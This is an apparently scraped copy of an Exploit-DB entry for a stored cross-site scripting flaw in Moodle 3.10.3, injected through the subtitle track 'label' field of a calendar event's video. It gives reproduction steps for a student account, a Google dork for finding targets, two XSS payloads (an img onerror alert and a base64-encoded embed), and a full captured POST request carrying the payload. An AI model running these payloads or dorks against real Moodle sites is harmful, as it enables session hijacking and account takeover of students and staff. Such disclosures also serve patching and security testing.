Moodle 3.10.3 – ‘label’ Persistent Cross Site Scripting

• Exploit Database
• 119 阅读

• 作者： Vincent666
  日期： 2021-03-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49714/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

  # Exploit Title: Moodle 3.10.3 - &apos;label&apos; Persistent Cross Site Scripting # Date: 25.03.2021 # Author: Vincent666 ibn Winnie # Software Link: https://moodle.org/ # Tested on: Windows 10 # Web Browser: Mozilla Firefox # Google Dorks: inurl:/lib/editor/atto/plugins/managefiles/ or calendar/view.php?view=month   Choose a role : Student (example) Open calendar : https://school.localhost/calendar/view.php?view=month   Create new event: Example: Event Title "Test" Description :Choose Insert Video File and choose Video: Video Source Url you can paste video link from youtube   And open Subtitles and Captions: Subtitle track URL use video link from youtube Field Label : There is we can use xss code:   <img src="https://www.exploit-db.com/exploits/49714/1" onerror="alert(1)" />   or try in base64   <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>   Insert Media and save this. Open event and get stored xss.   POST:   https://school.localhost/lib/ajax/service.php?sesskey=vCHlHS7oIl&info=core_calendar_submit_create_update_form Host: school.localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 996 Origin: https://school.localhost Connection: keep-alive Referer: https://school.localhost/calendar/view.php?view=month Cookie: MoodleSession=4ea0036558425526decc096ed375b886; EU_COOKIE_LAW_CONSENT=true   [{"index":0,"methodname":"core_calendar_submit_create_update_form","args":{"formdata":"id=0&userid=56&modulename=&instance=0&visible=1&eventtype=user&sesskey=vCHlHS7oIl&_qf__core_calendar_local_event_forms_create=1&mform_showmore_id_general=1&name=test&timestart%5Bday%5D=25&timestart%5Bmonth%5D=3&timestart%5Byear%5D=2021&timestart%5Bhour%5D=10&timestart%5Bminute%5D=4&description%5Btext%5D=%3Cp%20dir%3D%22ltr%22%20style%3D%22text-align%3A%20left%3B%22%3E%26nbsp%3B%3Cvideo%20controls%3D%22true%22%3E%3Csource%20src%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%22%3E%3Ctrack%20src%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%22%20kind%3D%22subtitles%22%20srclang%3D%22en%22%20label%3D%22%3Cimg%20src%3D%26quot%3B1%26quot%3B%20onerror%3D%26quot%3Balert(1)%26quot%3B%20%2F%3E%22%3Ehttps%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DeWMB5YKzUSA%3C%2Fvideo%3E%26nbsp%3B%3Cbr%3E%3C%2Fp%3E&description%5Bformat%5D=1&description%5Bitemid%5D=495874277&location=&duration=0"}}]